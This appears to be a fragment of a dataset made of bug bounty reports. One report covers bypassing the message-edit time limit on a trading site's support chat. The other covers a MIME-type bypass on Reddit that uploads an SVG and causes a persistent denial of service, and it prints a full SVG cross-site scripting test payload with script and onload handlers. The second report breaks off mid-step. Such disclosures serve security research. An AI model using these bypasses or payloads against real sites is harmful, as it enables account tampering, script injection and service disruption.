"output": "### Resumo da Vulnerabilidade\nHello,\n\nThe support section has a validation on all the posted messages where it doesn't allow you to edit your messages after some minutes from posting them.\nI was able to bypass this protection and edit successfully the previous messages that can't be edited.\n\nAfter further investigation, I found that whenever you create/send a message, there is a date value made of numbers generated in the response which indicates the timestamp or the date that the message was created.\nAnd when you edit that message, the same value is used as a date parameter in the edit request.\n\nThe bug is that the date parameter is still active for the unedited messages, so when you perform an editable request having the old unedited message's date value as a date parameter, the request will be successful and the new edit text will be successfully applied.\n\n### Passos para Reproduzir\n1. So first you need to identify the message initial date, send a message in the support section, intercept its request and see the response containing the target date.\n\n```\n█████████\nHost: support.cs.money\n\n{\"user_steamid\":\"id-number\",\"text\":\"test\",\"settings\":{\"skin_exterior\":0,\"eco\":0,\"unavailable\":1,\"hints_in_trade\":1,\"lock_skin\":0,\"popup_skin\":1,\"reserved_skin\":1,\"save_filter\":0,\"virtual_trade\":0,\"skins_ticker\":1,\"beautiful_pics\":1,\"skins_float\":0,\"rarity\":0,\"collection\":0,\"conveyor\":1,\"block_red_points\":0,\"sourcePay\":\"scrill\"},\"bot_mode\":\"trade\",\"user_mode\":\"trade\"}\n```\n\n██████\n\n'2. Say that you no longer are able to edit the above message created by you. So now create another message. Click edit, send the message and intercept its request.\n'3. Add the date value from the step 1 response in the `date` value, and add the new message content in the `new_message` value.\n\n```\n███████\nHost: support.cs.money\n\n{\"date\":\"date-value\",\"new_message\":\"Hackerone edited message changed successfully === bug\"}\n```\n\n'4. Forward the request and see the response code id 200 OK, Reload the page and see that the message is edited successfully.\n\n### Impacto\nUsers are able to edit their old messages that are not supposed to be editable anymore. This can lead to serious issues because they are being edited on the server too.\nAlso this is a bypass for the application validation and violation of its protection.\nI think this can lead to serious problems if malicious users edit the messages to bad or harmful content.\n\nBest Regards."

"input": "",
"output": "### Resumo da Vulnerabilidade\nI started testing for unrestricted file uploads and quickly discovered a way to upload a corrupted file into Reddit. I was able to bypass the MIME type of uploaded files first by uploading a normal PNG file to Reddit, intercepting the request with burp, and changing the content type from `image/png` to `image/svg+xml`, then changing the content of the PNG image to an SVG file which is intended for Stored XSS. The file successfully uploads and I receive a 201 created message back. When trying to upload there is infinite loading time and the post never actually gets posted, but I found a way to bypass this, first, you upload a completely normal PNG file and after it uploads, you do the aforementioned steps to upload an unrestricted file and you can successfully post the corrupted image. When clicking on the post the message `processing image...` appears and the file never loads.\nNow comes the Web Cache Poisoning which ultimately leads to a complete DoS on the Reddit Home page. Once the corrupted image has been posted this will affect every user that follows the account that posted it, there is a full DoS that requires **NO user interaction** `Something went wrong. Just don't panic` appears as well as another error message saying `We weren't able to load posts for this page`. If the attacker wants to create more impact he can feed the URL to users who do not follow him.\n{F1010810}\n This issue is so persistent that a user can reload the page, close it and open it again, close the browser, log out and log back in, and they still won't be able to access Reddit. This issue becomes even more persistent if a victim follows the attacker or the account posting it, the victim can try to clear the cache, clear cookies, restart the browser but the issue will still be there, there is no way of getting rid of it.\n\n### Passos para Reproduzir\n1. As an attacker, click on 'Create Media Post' on the home screen\n2. First choose your profile to post the corrupted image\n3. Add a title as usual and **first upload a normal png image** this is a very important step\n4. After doing so click on the + sign next to the image you just uploaded and select a normal PNG image\n5. Intercept the request within Burp\n6. Navigate to `Content-Type:` parameter and replace `image/png` with `image/svg+xml`\n7. Replace the content of the PNG image with an SVG file code, I specifically used the following code: \n```\n<?xml version=\"1.0\" encoding=\"utf-8\" ?>\n<!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n<svg version=\"1.1\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" xml:space=\"preserve\">\n<rect fill=\"url('http://example.com/benis.svg')\" x=\"60\" y=\"60\" width=\"60\" height=\"60\"></rect>\n<rect fill=\"url('https://example.com/benis.svg')\" x=\"60\" y=\"60\" width=\"60\" height=\"60\"></rect>\n<rect fill=\" url( ' https://example.com/benis.svg ' ) \" x=\"60\" y=\"60\" width=\"60\" height=\"60\"></rect>\n<rect fill=\"url('ftp://192.168.2.1/benis.svg')\" x=\"0\" y=\"0\" width=\"60\" height=\"60\"></rect>\n<rect fill=\"url('//example.com/benis.svg')\" x=\"60\" y=\"60\" width=\"60\" height=\"60\"></rect>\n<rect fill=\"url('/benis.svg')\" x=\"60\" y=\"60\" width=\"60\" height=\"60\"></rect>\n<rect fill=\"url('#benis.svg')\" x=\"60\" y=\"60\" width=\"60\" height=\"60\"></rect>\n<g id=\"righteye\" class=\"eye\">\n <path id=\"iris-2\" data-name=\"iris\" class=\"cls-4\" d=\"M241.4,143.6s18.5,11.9,36,7.1,29.6-15.8,27.2-24.6c-1.7-6-9.8-9.4-20.3-9.4a59.21,59.21,0,0,0-15.6,2.2,37.44,37.44,0,0,0-12.4,6.4,60.14,60.14,0,0,0-14.9,18.3\" transform=\"translate(-9.7 -9.3)\"/>\n <path id=\"lid\" class=\"cls-11\" d=\"M304.5,124.4c-1.7-6-9.8-9.4-20.3-9.4a59.21,59.21,0,0,0-15.6,2.2,37.44,37.44,0,0,0-12.4,6.4,61.21,61.21,0,0,0-14.9,18.1\" transform=\"translate(-9.7 -9.3)\"/>\n <path id=\"pupil-2\" data-name=\"pupil\" class=\"cls-12\" d=\"M256.7,126.1c2.5,9.2,11,14.8,18.9,12.6s12.3-11.4,9.8-20.6a16.59,16.59,0,0,0-1.2-3.1,59.21,59.21,0,0,0-15.6,2.2,37.44,37.44,0,0,0-12.4,6.4,9.23,9.23,0,0,0,.5,2.5\" transform=\"translate(-9.7 -9.3)\"/>\n <path id=\"eyelash-2\" data-name=\"eyelash\" class=\"cls-13\" d=\"M302.9,122.3c7.7,2.5,17-5,20.8-16.8M292,115.7c7.6,2.8,17.2-4.4,21.4-16M277,115.1c8.1-.3,14.3-10.5,13.9-22.8\" transform=\"translate(-9.7 -9.3)\"/>\n <path id=\"reflection-2\" data-name=\"reflection\" class=\"cls-14\" d=\"M271.1,127.1c0,3.6-2.6,6.5-5.8,6.5s-5.8-2.9-5.8-6.5,2.6-6.4,5.8-6.4,5.8,2.9,5.8,6.4\" transform=\"translate(-9.7 -9.3)\"/>\n</g>\n <a href=\"javascript:alert(2)\">test 1</a>\n <a xlink:href=\"javascript:alert(2)\">test 2</a>\n <a href=\"#test3\">test 3</a>\n <a xlink:href=\"#test\">test 4</a>\n\n <a href=\"data:data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' onload='alert(88)'%3E%3C/svg%3E\">test 5</a>\n <a xlink:href=\"data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' onload='alert(88)'%3E%3C/svg%3E\">test 6</a>\n <use xlink:href=\"#a\" x=\"28\" fill=\"#1A374D\"/>\n <path id=\"a\" d=\"M14 27v-20c0-3.7-3.3-7-7-7s-7 3.3-7 7v41c0 8.2 9.2 17 20 17s20-9.2 20-20c0-13.3-13.4-21.8-26-18zm6 25c-4 0-7-3-7-7s3-7 7-7 7 3 7 7-3 7-7 7z\"/>\n <use xlink:href=\"defs.svg#icon-1\"/>\n <line onload=\"alert(2)\" fill=\"none\" stroke=\"#000000\" stroke-miterlimit=\"10\" x1=\"119\" y1=\"84.5\" x2=\"454\" y2=\"84.5\"/>\n<line fill=\"none\" stroke=\"#000000\" stroke-miterlimit=\"10\" x1=\"111.212\" y1=\"102.852\" x2=\"112.032\" y2=\"476.623\"/>\n<line fill=\"none\" stroke=\"#000000\" stroke-miterlimit=\"10\" x1=\"198.917\" y1=\"510.229\" x2=\"486.622\" y2=\"501.213\"/>\n<line fill=\"none\" stroke=\"#000000\" stroke-miterlimit=\"10\" x1=\"484.163\" y1=\"442.196\" x2=\"89.901\" y2=\"60.229\"/>\n<line fill=\"none\" stroke=\"#000000\" stroke-miterlimit=\"10\" x1=\"101.376\" y1=\"478.262\" x2=\"443.18\" y2=\"75.803\"/>\n<line fill=\"none\" stroke=\"#000000\" stroke-miterlimit=\"10\" x1=\"457.114\" y1=\"126.623\" x2=\"458.753\" y2=\"363.508\"/>\n<this>shouldn't be here</this>\n<script>alert(document.cookie);</script>\n<line fill=\"none\" stroke=\"#000000\" stroke-miterlimit=\"10\" x1=\"541.54\" y1=\"299.573\" x2=\"543.179\" y2=\"536.458\"/></svg>\n´´´\n8.
